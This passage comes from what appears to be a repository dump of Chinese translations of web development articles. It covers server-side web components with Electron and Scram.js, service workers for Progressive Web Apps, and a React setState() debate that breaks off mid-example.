的两套环境。那有什么办法可以结合呢？我们想到了 Electron，Electron 把 Node.js 和 Chromium 项目结合成为一个单独的运行环境，使得客户端代码和服务端代码结合运行成为了可能。\n\n> [Scram.js](https://github.com/scramjs/scram-engine) 这个小项目可以帮你轻松运行 Electron，使得运行服务端 web components 和其它 Node.js 应用一样容易。\n\n我已经做出了一些小应用，并放上了生产环境。如果你感兴趣，可以看看 [Dokku Example](http://scramjs.org) 。\n\n现在，我来告诉你在开发服务端 Web components 过程中一件有意思的事情。我使用一个 [客户端的 JavaScript 库](https://github.com/adlnet/xAPIWrapper) 进行某些特定的 API 请求。然而，假如请求放在客户端，就必须把我们数据库的凭证泄露给客户端。为了保证凭证安全，我们需要把请求放在服务端进行。假如要在 Node.js 运行这个库，需要对代码进行大幅重构，幸亏我们用上了 Electron 和 Scram.js，我只需要导入这个库，无需任何代码改动，就顺利在服务端运行起来了！\n\n> 我只需要导入这个库，无需任何代码改动，就顺利在服务端运行起来了！\n\n另外，我曾经使用 JavaScript 构建一些移动端应用。我们使用 [localForage](https://github.com/mozilla/localForage) 作为客户端数据库。这个应用是基于分布式数据库设计的，可以在没有中心服务器的情况下进行互相通信。我希望可以在 Node.js 环境下使用 localForage，使得模型可以重用，以及不需要太多修改就能把功能跑起来。过去我们不能做到这点，但现在我们可以做到了。\n\n> Electron 和 Scram.js 提供了 LocalStorage, Web SQL 和 IndexedDB，使得 localForage 成为了可能。我们就这样搭建起了一个简单的服务器端数据库！\n\n虽然我不确定怎样测量其性能，但至少这个方法是可行的。\n\n而且，现在你可以在服务端使用像 [iron-ajax](https://elements.polymer-project.org/elements/iron-ajax) 和我的 [redux-store-element](https://github.com/lastmjs/redux-store-element) 组件了，使用方法和客户端一样。我希望这么做可以让客户端的范式可重用，并减少从客户端到服务端之间因环境切换而产生的不可避免的差异性。\n\n## 可共享\n\n这点完全得益于 web components，因为 web components 的其中一个主要目标就是使得组件易于共享，实现跨浏览器通用，并停止在同一个问题上因为框架或者库的改变而不断重复实现。共享之所以变得可能，是因为 web components 基于现有的或者提出的标准，所有主流浏览器的厂商都会想办法去实现。\n\n> 这意味着 web components 不依赖于任何框架或者库，就可以在任何 web 平台上通用。\n\n我希望有更多人能参与到创建服务器端 web components 的创建当中，并把各种功能打包成组件，就像前端组件那样。我从 Express components 开始了这项工作，但我还期待看到 Koa, Hapi.js, Socket.io, MongoDB 等组件的出现。\n\n## 可调试\n\nScram.js 有一个 `-d` 选项，让你可以在调试时打开 Electron 窗口。现在你可以使用 Chrome 开发者工具的所有功能来帮助你调试服务器了。断点、控制台日志、网络信息等都可以在里面看到。Node.js 的服务端调试似乎总是我的第二选择，但现在它的确已经集成到了平台中：\n\n\n![](https://cdn.scotch.io/1614/CILiuE9kThuL1iqBuEij_Screenshot%20from%202016-06-07%2013:17:24.png)\n\n## 更平缓的学习曲线\n\n服务端 web components 对降低后端编程学习难度有帮助。要知道有很多 web 设计师、交互设计和其他一些只懂 HTML 和 CSS 的人希望学习服务端开发，但现有的服务器端代码对于他们而言很难理解。然而，如果使用他们熟悉的 HTML 来编写，特别是用上语义化的自定义元素，他们就能更容易地上手服务器端编程了。至少我们可以降低他们的学习曲线吧。\n\n## 客户端架构\n\n客户端和服务端 app 的架构正变得越来越像了。每个 app 以 `index.html` 文件开始，然后引入相关组件。这只是一种新的统一前后端的方法。在过去，我觉得想要找到服务器端应用的入口多少有点困难，如果后端能像前端应用一样，以 `index.html` 作为标准的入口，不是挺好的吗？\n\n以下是使用 web components 构建的客户端应用的一般结构：\n\n```\napp/\n----components/\n--------app/\n------------app.component.html\n------------app.component.js\n--------blog-post/\n------------blog-post.component.html\n------------blog-post.component.js\n----models/\n----services/\n----index.html\n```\n\n以下是使用 web components 构建的服务端应用的一般结构：\n\n```\napp/\n----components/\n--------app/\n------------app.component.html\n------------app.component.js\n--------api/\n------------api.component.html\n------------api.component.js\n----models/\n----services/\n----index.html\n```\n\n这两种结构应该都可以很好地工作，现在我们成功减少了从客户端到服务端切换的上下文数量，反之亦然。\n\n## 可能存在的问题\n\nElectron 在服务器生产环境中的性能和稳定性，是最有可能导致应用崩溃的原因。话虽这么说，我并不觉得性能在将来是一个大问题，因为 Electron 只是通过一个渲染进程运行 Node.js 代码，我猜想和原生 Node.js 的运行状况差不多。最大问题是，Chromium 的运行时能否足够稳定，坚持运行足够长时间（而不发生内存泄露）。\n\n另一个潜在问题是冗余性，相比原生 JavaScript 逻辑，使用服务端 web components 完成相同任务会花费更多时间，因为标记语言需要解析。话虽这么说，我依然希望付出冗余的代价，能换来更容易理解的代码。\n\n## 性能测试\n\n基于好奇心，我进行了一系列基础测试，对比同一个 [应用](https://github.com/azat-co/rest-api-express) 在原生 Node.js + Express 框架，和 Electron + Scram.js 的 Express Web Components 运行性能对比。下面的图标展示出对于主路由使用 [node-ab](https://github.com/doubaokun/node-ab) 库进行压力测试的结果。以下是测试用到的一些参数：\n\n*   在本地机器上运行\n*   每秒递增 100 次 GET 请求\n*   运行直到有 1% 的请求返回不成功\n*   对于 Node.js app 和 Electron/Scram.js app 版本，分别运行 10 次测试\n*   Node.js app\n    *   使用 Node.js v6.0.0 版本\n    *   使用 Express v4.10.1 版本\n*   Electron/Scram.js app\n    *   使用 Scram.js v0.2.2 版本\n        *   默认设置（从本地服务器加载起始 html 文件）\n        *   调试窗口关闭\n    *   使用 Express v4.10.1 版本\n    *   使用 electron-prebuilt v1.2.1 版本\n*   运行库: [https://github.com/doubaokun/node-ab](https://github.com/doubaokun/node-ab)\n*   运行命令: `nab http://localhost:3000 --increase 100 --verbose`\n\n以下是结果 （QPS: Queries Per Second 每秒查询数）：\n\n![](https://cdn.scotch.io/1614/THvMpsJNTtmW14Mlad0D_electron-and-node.png)\n\n![](https://cdn.scotch.io/1614/qvjN1PkpRi2F1AexzP7Y_electron.png)\n\n![](https://cdn.scotch.io/1614/yVMSAsmTnCaT9HbjOknQ_node.png)\n\n出乎意料，Electron/Scram.js 比 Node.js 性能更佳。我们对这个结果持保留意见，但起码还是能反映出使用 Electron 作为服务器的性能不会比 Node.js 差很远，至少在短期内处理原始请求的效果是如此。还记得我之前说过“我并不觉得性能在将来是一个大问题”吗？结果证实了我的描述。\n\n## 总结\n\nWeb components 很好很强大，给 Web 平台带来了标准化、声明式的组件模型。Web components 不仅能给客户端带来便利，而且在服务端也获益良多。客户端和服务端之间的差距正在缩小，我相信服务器端 web components 是正确方向上的一大迈进。因此，一起来使用它们构建我们的应用吧！\n\n\n*   在服务器上运行 Electron: [Scram.js](https://github.com/scramjs/scram-engine)\n*   基础服务端 web components: [Express Web Components](https://github.com/scramjs/express-web-components)\n*   线上 demo: [Dokku Example](http://scramjs.org/)\n*   示例 1: [Simple Express API](https://github.com/scramjs/rest-api-express)\n*   示例 2: [Modular Express API example](https://github.com/scramjs/node-api)\n*   示例 3: [Todo App](https://github.com/scramjs/node-todo)\n*   示例 4: [Simple REST SPA](https://github.com/scramjs/node-tutorial-2-restful-app)\n*   示例 5: [Basic App for Frontend Devs](https://github.com/scramjs/node-tutorial-for-frontend-devs)\n\n## 信用\n\nNode.js 是 Joyent, Inc 的商标，使用需要经过他们允许。我们并非被 Joyent 认可，也非隶属关系。\n"
  },
  {
    "path": "TODO/service-workers-the-little-heroes-behind-progressive-web-apps.md",
    "content": "> * 原文地址：[Service workers: the little heroes behind Progressive Web Apps](https://medium.freecodecamp.org/service-workers-the-little-heroes-behind-progressive-web-apps-431cc22d0f16)\n> * 原文作者：[Flavio Copes](https://medium.freecodecamp.org/@writesoftware?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/service-workers-the-little-heroes-behind-progressive-web-apps.md](https://github.com/xitu/gold-miner/blob/master/TODO/service-workers-the-little-heroes-behind-progressive-web-apps.md)\n> * 译者：[FateZeros](https://github.com/FateZeros)\n> * 校对者：[MechanicianW](https://github.com/MechanicianW) [atuooo](https://github.com/atuooo)\n\n# Service workers：Progressive Web Apps 背后的小英雄\n\n![](https://cdn-images-1.medium.com/max/800/1*CqQTKb0N2o0suacfiluO8w.jpeg)\n\nService workers 是 [Progressive Web Apps](https://flaviocopes.com/what-is-a-progressive-web-app/) 的核心。它们允许缓存资源和推送通知，这是原生 app 应用的两个突出特性。\n\nservice worker 是你的网页和网络之间的 **可编程代理**，它可以拦截和缓存网络请求。这实际上可以让你 **使自己的 app 具有离线优先的体验**。\n\nService workers 是一种特殊的 web worker：一个关联工作环境上运行的网页且与主线程分离的 JavaScript 文件。它带来了非阻塞这一优点 —— 所以计算处理可以在不牺牲 UI 响应的情况下完成。\n\n因为它在单独的线程上，因此它没有访问 DOM 的权限，也没有访问本地存储 APIs 和 XHR API 的权限。它只能使用 **Channel Messaging API** 与主线程通信。\n\nService Workers 与其他新进的 Web APIs 搭配：\n\n* **Promises**\n* **Fetch API**\n* **Cache API**\n\n它们 **只在使用 HTTPS** 协议的页面可用（除了本地请求不需要安全连接，这会使测试更简单。）。\n\n### 后台运行\n\nService workers 独立运行，当与其相关联的应用没有运行的时候也可以接收消息。\n\n它们可以后台运行的几种情况：\n\n* 当你的手机应用 **在后台运行**，没有激活\n* 当你的手机应用 **关闭** 甚至没有在后台运行\n* 当**浏览器关闭**，如果 app 运行在浏览器上\n\nservice workers 非常有用的几种场景：\n\n* 它们可以作为**缓存层**来处理网络请求，并且缓存离线时要使用的内容\n* 它们允许**推送通知**\n\nservice worker 只有在需要的时候运行，不然则停止运行。\n\n### 离线支持\n\n传统上，web app 的离线体验一直很差。没有网络，web app 通常根本无法工作。另一方面，原生手机 app 则有能力提供一种可以离线运行的版本或者友好的消息提示。\n\n这就不是一种友好的消息提示，但这是 Chrome 中一个网页在没有网络连接情况下的样子：\n\n![](https://cdn-images-1.medium.com/max/800/0*JxRXpDzGFHmwnED8.png)\n\n可能唯一的好处就是你可以点击恐龙来玩免费的小游戏 —— 但这很快就会变的无聊。\n\n![](https://cdn-images-1.medium.com/max/800/0*X11fKp3LDkz0G6ug.gif)\n\n最近，HTML5 AppCache 已经承诺允许 web apps 缓存资源和离线工作。但是它缺乏灵活性，而且混乱的表现也让它不足胜任这项工作（并[已经停止](https://html.spec.whatwg.org/multipage/offline.html#offline)）。\n\nService workers 是新的离线缓存标准。\n\n可以进行哪种缓存？\n\n### 在安装期间预缓存资源\n\n可以在第一次打开 app 的时候安装在整个应用中重用的资源，如图片，CSS，JavaScript 文件。\n\n这就给出了所谓的 **App Shell 体系**。\n\n### 缓存网络请求\n\n使用 **Fetch API**，我们可以编辑来自服务器的响应，如果服务器无法访问，可以从缓存中提供响应作为替代。\n\n### Service Worker 生命周期\n\nservice worker 经过以下三个步骤才能提供完整的功能：\n\n* 注册\n* 安装\n* 激活\n\n### 注册\n\n注册告诉浏览器 service worker 在哪里，并在后台开始安装。\n\n注册放置在 `worker.js` 中 service worker 的示例代码：\n\n```\nif ('serviceWorker' in navigator) { \n  window.addEventListener('load', () => {   \n    navigator.serviceWorker.register('/worker.js') \n    .then((registration) => { \n      console.log('Service Worker registration completed with scope: ', registration.scope) \n    }, (err) => { \n      console.log('Service Worker registration failed', err)\n    })\n  })\n} else { \n  console.log('Service Workers not supported') \n}\n```\n\n即使此代码被多次调用，如果 service worker 是新的，并且以前没有被注册，或者已更新，浏览器将仅执行注册。\n\n#### 作用域\n\n`register()` 调用还接受一个作用域参数，该参数是一个路径用来确定应用程序的哪一部分可以由 service worker 控制。\n\n它默认包含 service worker 的文件夹中的所有文件和子文件夹，所以如果将它放到根文件夹，它将控制整个 app。在子文件夹中，它将只会控制当前路径下的页面。\n\n下面的示例通过指定 `/notifications/` 文件夹范围来注册 service worker。\n\n```\nnavigator.serviceWorker.register('/worker.js', { \n  scope: '/notifications/' \n})\n```\n\n`/` 很重要：在这种情况下，页面 `/notifications` 不会触发 service worker，而如果作用域是：\n\n```\n{ scope: '/notifications' }\n```\n\n它就会起作用。\n\n注意：service worker 不能从一个文件夹中“提升”自己的作用域：如果它的文件放在 `/notifications` 下，它不能控制 `/` 路径或其他不在 `/notifications` 下的路径。 \n\n### 安装\n\n如果浏览器确定 service worker 过期或者以前从未注册过，则会继续安装。\n\n```\nself.addEventListener('install', (event) => { \n  //... \n});\n```\n\n这是使用 service worker **初始化缓存**的好时机。然后使用 **Cache API** **缓存 App Shell** 和静态资源。\n\n### 激活\n\n一旦 service worker 被成功注册和安装，第三步就是激活。\n\n这时，当界面加载时，service worker 就能正常工作了。\n\n它不能和已经加载的页面进行交互，因此 service worker 只有在用户和应用交互的第二次或重新加载已打开的页面时才有用。\n\n```\nself.addEventListener('activate', (event) => { \n  //... \n});\n```\n\n这个事件的一个好的用例是清除旧缓存和一些关联到旧版本并且没有被新版本的 service worker 使用的文件。\n\n### 更新 Service Worker\n\n要更新 service worker，你只需修改其中的一个字节。当寄存器代码运行的时候，它就会被更新。\n\n一旦更新了 service worker，直到所有关联到旧版本 service worker 已加载的页面全部关闭，新的 service worker 才会起作用。\n\n这确保了在已经工作的应用/页面上不会有任何中断。\n\n刷新页面还不够，因为旧的 worker 仍在运行，且没有被删除。\n\n### Fetch 事件\n\n当网络请求资源时 **fetch 事件** 被触发。\n\n这给我们提供了在发起网络请求前查看**缓存**的能力。\n\n例如，下面的代码片段使用 **Cache API** 来检查请求的 URL 是否已经存储在缓存响应里面。如果已存在，它会返回缓存中的响应。否则，它会执行 fetch 请求并返回结果。\n\n```\nself.addEventListener('fetch', (event) => {\n  event.respondWith( \n    caches.match(event.request) \n      .then((response) => { \n        if (response) { \n          //entry found in cache \n          return response \n        } \n        return fetch(event.request) \n      } \n    ) \n  ) \n})\n```\n\n### 后台同步\n\n后台同步允许发出的连接延迟，直到用户有可用的网络连接。\n\n这是确保用户能离线使用 app，能对其进行操作，并且当网络连接时排队进行服务端更新（而不是显示尝试获取信号的无限旋转圈）的关键。\n\n```\nnavigator.serviceWorker.ready.then((swRegistration) => { \n  return swRegistration.sync.register('event1') \n});\n```\n\n这段代码监听 service worker 中的事件：\n\n```\nself.addEventListener('sync', (event) => { \n  if (event.tag == 'event1') { \n    event.waitUntil(doSomething()) \n  } \n})\n```\n\n`doSomething()` 返回一个 promise 对象。如果失败，另一个同步事件将安排自动重试，直到成功。\n\n这也允许应用程序在有可用网络连接时，立即从服务器更新数据。\n\n### 推送事件\n\nService workers 让 web apps 为用户提供本地推送。\n\n推送和通知实际上是两种不同的概念和技术，它们结合起来就是我们所知的 **推送通知**。推送提供了允许服务器向 service worker 发送消息的机制，通知就是 servic worker 向用户显示信息的方式。\n\n因为 service workers 即使在 app 没有运行的时候也可以运行，它们可以监听即将到来的推送事件。然后它们要么提供用户通知，要么更新 app 状态。\n\n推送事件用后端通过浏览器推送服务启动，如 [Firebase](https://flaviocopes.com/firebase-hosting) 提供的推送服务。\n\n下面这个例子展示了 web worker 如何能够监听到即将到来的推送事件：\n\n```\nself.addEventListener('push', (event) => { \n  console.log('Received a push event', event) \n  const options = { \n    title: 'I got a message for you!', \n    body: 'Here is the body of the message', \n    icon: '/img/icon-192x192.png', \n    tag: 'tag-for-this-notification', \n  } \n  event.waitUntil( \n    self.registration.showNotification(title, options) \n  ) \n})\n```\n\n### 有关控制台日志的说明：\n\n如果 service work 有任何控制台日志语句（`console.log` 和其类似），请确保你打开了 Chrome Devtools（或类似工具）提供的 `Preserve log` 功能。\n\n否则，由于 service worker 在页面加载前执行，并且在加载页面前清除了控制台，你将不会在控制台看到任何日志输出。\n\n感谢阅读这篇文章，关于这个主题还有很多值得学习的地方！我在[关于前端开发的博客](https://flaviocopes.com)中发表了很多相关的内容，别忘记去看！😀\n\n**最初发表于**[**flaviocopes.com**](https://flaviocopes.com/service-workers/)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/setstate-gate-abc.md",
    "content": "> * 原文地址：[setState() Gate](https://medium.com/javascript-scene/setstate-gate-abc10a9b2d82#.z148awo8n)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[reid3290](https://github.com/reid3290)\n> * 校对者：[1992chenlu](https://github.com/1992chenlu)，[qinfanpeng](https://github.com/qinfanpeng)\n\n# setState() 门事件 #\n\n## React setState() 解惑 ##\n\n> 译注：本文起因于作者的一条推特，他认为应该避免使用 setState()，随后引发论战，遂写此文详细阐明其观点。译者个人认为，本文主要在于“撕逼“，并未深入介绍 setState() 的技术细节，希望从技术层面深入了解 `setState()` 的同学可以参考[[译] React 未来之函数式 setState](https://juejin.im/post/58cfcf6e44d9040068478fc6)。对 `setState()` 不了解的同学可能会感到本文不知所云，特此说明。\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*YvimnE7n9gk2Oesw_Dmxhg.jpeg\">\n\n一切都源于上周。3 位 React 初学者尝试在项目中使用 `setState()` 时遇到了 3 种不同的问题。我指导过很多 React 新手，也为团队提供从其他技术到 React 的架构转型咨询。\n\n其中一位初学者正在开发一个十分适合使用 Redux 的生产项目，所以我没有正面去解决 `setState()` 的同步问题（the timing with `setState()`），而是直接建议他用 Redux 替换掉 `setState()`，因为使用 Redux 能避免 state 在组件渲染的过程中发生改变。Redux 简单地利用来自 store 的 props 来决定如何渲染界面，巧妙地规避了复杂的同步问题。\n\n因此也就有了下面这条推特：\n\n\n[“React 有个 setState() 问题：让新手使用 setState() 毫无好处（a recipe for headaches）。高手们已经学会了如何避免使用它\"](https://twitter.com/_ericelliott)\n\n之后，有些高手就来纠正我了：\n\n[“我是 React 团队的一员。在尝试其他方法之前，请学会使用 setState。”](https://twitter.com/dan_abramov/status/842490428440150017?ref_src=twsrc%5Etfw)\n\n[“那些所谓‘高手’们怕是要落伍了，因为 React 17 将会默认采用异步调度。”](https://twitter.com/acdlite/status/842499250822950912?ref_src=twsrc%5Etfw)\n\n对于第二点：\n\n[“Fiber 有一种用于暂停、切分、重建和取消更新的策略，但如果你脱离了组件 state，那此策略便无法正常工作了。”](https://twitter.com/acdlite/status/842506455232143360?ref_src=twsrc%5Etfw)\n\n貌似都没错，可是码农们就要骂娘了：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*YvimnE7n9gk2Oesw_Dmxhg.jpeg\">\n\n面对困境“呵呵”两下并无妨，不过千万别呵呵过后就对问题视而不见了。\n\n在和另一个初学者交流的时候，我发现他也对 `setState()` 的工作机制感到困惑。他后来索性放弃了，他把 state 塞在一个闭包里；显而易见，闭包中 state 的改变是不会触发 render 函数自动执行的。\n\n考虑到深感困惑的初学者之多，我还是坚持我上述推文中前半句的观点；但如果可以重来的话，我会对后半句稍作修改，因为确有很多高手在（主要是 Facebook 和 Netfix 的工程师）大量地使用 `setState()`：\n\n> “React 有个 setState() 问题：叫新手使用 setState() 毫无好处，但高手们自有神技。“\n\n当然，推特还是有可能会丧失其集体智慧（lose its collective mind）（译注：个人认为这句应该是指当网络上大多数人持某一观点时，那即使该观点是错的，那你也不能指出其错误，否则就会招致集体攻讦；或者说，真理有时候只掌握在少数人手里）。 毕竟，React 是“**完美的**”， 我们都必须承认 `setState`的美妙优雅是多么的恰如其分，否则只会遭到冷嘲热讽。\n\n如果 `setState()` 令你感到困惑，那都是**你的问题** —— 你要么是疯子，要么是傻瓜。（我好像忘了说 [Javascript 社区的霸凌问题了](https://medium.com/javascript-scene/the-js-community-has-a-bullying-problem-96c10f11c85d#.wagjqz54o) ）\n\n好了，当你嘲笑所有初学者的时候，先反省反省自己吧，别以为掌握了 `setState()` 就可以得意忘形了。\n\n那种行为是荒谬可笑的，是精英主义论的，会让新手们感到十分讨厌。如果人们经常对某个 API 感到困惑的话，那就该改进 API 本身的设计了，或者至少应该改进下文档。\n\n让我们的社区和工具变得更加友好对所有人来说都是件好事。\n\n### setState() 究竟有何问题？ ###\n\n这个问题可以有两个答案：\n\n1. 没啥问题。（大部分情况下）其表现和设计期望一样，足以解决目标问题。\n2. 学习曲线问题。对新手而言，一些用原生 JS 和直接的 DOM 操作可以轻松实现的效果，用 React 和 `setState` 实现起来就会困难重重。\n\nReact 的设计初衷本是简化应用开发流程，但是：\n\n- 你却不能随心所欲地操作 DOM。\n- 你不能随心所欲地（于任何时间、依赖任意数据源）更新 state。\n- 在组件的生命周期中，你并不总是能在屏幕上直接观察到渲染后的 DOM 元素，这限制了 `setState()` 的使用时机和方式（因为你有些 state 可能还没有渲染到屏幕上）。\n\n在这几种情况下，困惑都来源于 React 组件生命周期的限制性（这些限制是刻意设计的，是好的）。\n\n#### 从属 State（Dependent State） ####\n\n更新 state 时，更新结果可能依赖于：\n\n- 当前 state\n- 同一批次中先前的更新操作\n- 当前已渲染的 DOM （例如：组件的坐标位置、可见性、CSS 计算值等等）\n\n当存在这几种从属 state 的时候，如果你还想简单直接地更新 state，那 React 的表现行为会让你大吃一惊，并且是以一种令人憎恶又难以调试的方式。大多数情况下，你的代码根本无法工作：要么 state 不对，要么控制台有错误。\n\n我之所以吐槽 `setState()`，是因为它的这种限制性在 API 文档中并没有详细说明，关于应对这种限制性的各种通用模式也未能阐述清楚。这迫使初学者只能不断试错、Google 或者从其他社区成员那里寻求帮助，但实际上在文档中本该就有更好的新手指南。\n\n当前关于 `setState()` 的文档开头如下：\n\n```\nsetState(nextState, callback)\n```\n\n> 将 nextState 浅合并到当前 state。这是在事件处理函数和服务器请求回调函数中触发 UI 更新的主要方法。\n\n在末尾确实也提到了其异步行为：\n\n> 不保证 `setState` 调用会同步执行，考虑到性能问题，可能会对多次调用作批处理。\n\n这就是很多用户层（userland） bug 的根本原因：\n\n```\n// 假设 state.count === 0\nthis.setState({count: state.count + 1});\nthis.setState({count: state.count + 1});\nthis.setState({count: state.count + 1});\n// state.count === 1, 而不是 3\n```\n\n本质上等同于：\n\n```\nObject.assign(state,\n  {count: state.count + 1},\n  {count: state.count + 1},\n  {count: state.count + 1}\n); // {count: 1}\n```\n\n这在文档中并未显式说明（在另外一份特殊指南中提到了）。\n\n文档还提到了另外一种函数式的 `setState()` 语法：\n\n> 也可以传递一个签名为 `function(state, props) => newState` 的函数作为参数。这会将一个原子性的更新操作加入更新队列，在设置任何值之前，此操作会查询前一刻的 state 和 props。\n\n> `...`\n\n> `setState()`  并不会立即改变  `this.state` ，而是会创建一个待执行的变动。调用此方法后访问 `this.state` 有可能会得到当前已存在的 state（译注：指 state 尚未来得及改变）。\n\nAPI 文档虽提供了些许线索，但未能以一种清晰明了的方式阐明初学者经常遇到的怪异表现。开发模式下，尽管 React 的错误信息以有效、准确著称，但当 `setState()` 的同步问题出现 bug 的时候控制台却没有任何警告。\n\n[![](https://ww2.sinaimg.cn/large/006tKfTcgy1fecsfa9ryhj30jh06qaaq.jpg)](https://twitter.com/JikkuJose/status/842915627899670528?ref_src=twsrc%5Etfw)\n\n[![](https://ww1.sinaimg.cn/large/006tKfTcgy1fecsftg2goj30j406674u.jpg)](https://twitter.com/PierB/status/842590294776451072?ref_src=twsrc%5Etfw)\n\nStackOverflow 上有关 `setState()` 的问题大都要归结于组件的生命周期问题。毫无疑问，React 非常流行，因此那些问题都被[问](http://stackoverflow.com/questions/25996891/react-js-understanding-setstate)[烂](http://stackoverflow.com/questions/35248748/calling-setstate-in-a-loop-only-updates-state-1-time)[了](http://stackoverflow.com/questions/30338577/reactjs-concurrent-setstate-race-condition/30341560#30341560)，也有着各种良莠不齐的回答。\n\n那么，初学者究竟该如何掌握 `setState()` 呢？\n\n在 React 的文档中还有一份名为  [“ state 和生命周期”](https://facebook.github.io/react/docs/state-and-lifecycle.html)的指南，该指南提供了更多深入内容：\n\n> “…要解决此问题，请使用 `setState()` 的第二种形式 —— 以一个函数而不是对象作为参数，此函数的第一个参数是前一刻的 state，第二个参数是 state 更新执行瞬间的 props ：”\n\n```\n// 正确用法\nthis.setState((prevState, props) => ({\n  count: prevState.count + props.increment\n}));\n```\n\n这个函数参数形式（有时被称为“函数式 `setState()`”）的工作机制更像：\n\n```\n[\n  {increment: 1},\n  {increment: 1},\n  {increment: 1}\n].reduce((prevState, props) => ({\n  count: prevState.count + props.increment\n}), {count: 0}); // {count: 3}\n```\n\n不明白 reduce 的工作机制？ 参见  [“Composing Software”](https://medium.com/javascript-scene/the-rise-and-fall-and-rise-of-functional-programming-composable-software-c2d91b424c8c#.7k9w6v9ok) 的 [“Reduce”](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d#.8d8kw0l40) 教程。\n\n关键点在于**更新函数（updater function）**：\n\n```\n(prevState, props) => ({\n  count: prevState.count + props.increment\n})\n```\n\n这基本上就是个 reducer，其中 `prevState` 类似于一个累加器（accumulator），而 `props` 则像是新的数据源。类似于 Redux 中的 reducers，你可以使用任何标准的 reduce 工具库对该函数进行 reduce（包括 `Array.prototype.reduce()`）。同样类似于 Redux，reducer 应该是 [纯函数](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-pure-function-d1c076bec976) 。\n\n> 注意：企图直接修改 `prevState` 通常都是初学者困惑的根源。\n\nAPI 文档中并未提及更新函数的这些特性和要求，所以，即使少数幸运的初学者碰巧了解到函数式 `setState()` 可以实现一些对象字面量形式无法实现的功能，最终依然可能困惑不解。\n\n### 仅仅是新手才有的问题吗？ ###\n\n直到现在，在处理表单或是 DOM 元素坐标位置的时候，我还是会时不时得掉到坑里去。当你使用 `setState()` 的时候，你必须直接面对组件生命周期的相关问题；但当你使用容器组件或是通过 props 来存储和传递 state 的时候，React 则会替你处理同步问题。\n\n [**无论你有经验与否**](https://medium.com/@mweststrate/3-reasons-why-i-stopped-using-react-setstate-ab73fc67a42e#.saj7jn6wh) ，处理共享的可变 state 和 state 锁（state locks）都是很棘手的。经验丰富之人只不过是能更加快速地定位问题，然后找出一个巧妙的变通方案罢了。\n\n因为初学者从未遇到过这种问题，更不知规避方案，所以是掉坑里摔得最惨的。\n\n[![](https://ww4.sinaimg.cn/large/006tKfTcgy1fecsglwlldj30jb067wf0.jpg)](https://twitter.com/_ericelliott/status/842546271944564737?ref_src=twsrc%5Etfw)\n\n[![](https://ww1.sinaimg.cn/large/006tKfTcgy1fecshbe5u6j30jl05xdg8.jpg)](https://twitter.com/dan_abramov/status/842548605525331969?ref_src=twsrc%5Etfw)\n\n当问题发生时，你当然可以选择和 React 斗个你死我活；不过，你也可以选择让 React 顺其自然的工作。这就是我说**即使是对初学者而言**，Redux **有时** 都比 `setState` 更简单的原因。\n\n在并发系统中，state 更新通常按其中一种方式进行：\n\n- 当其他程序（或代码）正在访问 state 时，禁止 state 的更新（例如 `setState()`）（译注：即常见的锁机制）\n- 引入不可变性来消除共享的可变 state，从而实现对 state 的无限制访问，并且可以在任何时间创建新 state（例如 Redux）\n\n在我看来（在向很多学生教授过这两种方法之后），相比于第二种方法，第一种方法更加容易导致错误，也更加容易令人困惑。当 state 更新被简单地阻塞时（在 `setState` 的例子中，也可以叫批处理化或延迟执行），解决问题的正确方法并不十分清晰明了。\n\n当遇到 `setState()` 的同步问题时，我的直觉反应其实是很简单的：将 state 的管理上移到 Redux（或 MobX） 或容器组件中。基于[多方面原因](https://medium.com/javascript-scene/10-tips-for-better-redux-architecture-69250425af44) ，我自己使用同时也推荐他人使用 Redux，但很显然，这**并不是一条放之四海而皆准的建议**。\n\nRedux 自有其**陡峭**的学习曲线，但它规避了共享的可变 state 以及 state 更新同步等复杂问题。因此我发现，一旦我教会了学生如何避免可变性，接下来基本就**一帆风顺**了。\n\n对于没有任何函数式编程经验的新手而言，学习 Redux 遇到的问题可能会比学习 `setState()` 遇到的更多 —— 但是，Redux 至少有很多其作者亲自讲授的[免费](https://egghead.io/courses/getting-started-with-redux) [教程](https://egghead.io/courses/building-react-applications-with-idiomatic-redux)\n\nReact 应当向 Redux 学习：有关 React 编程模式和 `setState()` 踩坑的视频教程定能让 React 主页锦上添花。\n\n#### 在渲染之前决定 State  ####\n\n将 state 管理移到容器组件（或 Redux）中能促使你从另一个角度思考组件 state 问题，因为这种情况下，在组件**渲染之前**，其** state 必须是既定的**（因为你必须将其作为 props 传下去）。\n\n重要的事情说三遍：\n\n> 渲染之前，决定 state！\n>\n> 渲染之前，决定 state！\n>\n> 渲染之前，决定 state！\n\n说完三篇之后就可以得到一个显然的推论：在 `render()` 函数中调用 `setState()` 是反模式的。\n\n在 `render` 函数中计算从属 state 是 OK 的（比如说， state 中有 `firstName` 和 `lastName`，据此你计算出 `fullName`，在 `render` 函数中这样做完全是 OK 的），但我还是倾向于在容器组件中计算出从属 state ，然后通过 props 将其传递给展示组件（presentation components）。\n\n### setState()  该怎么治？ ###\n\n我倾向于废弃掉对象字面量形式的 `setState()`，我知道这（表面上看）更加易于理解也更加方便（译者：“这”指对象字面量形式的 `setState()`），但它也是坑之所在啊。用脚指头都能猜到，肯定有人这样写：\n\n```\nstate.count; // 0\nthis.setState({count: state.count + 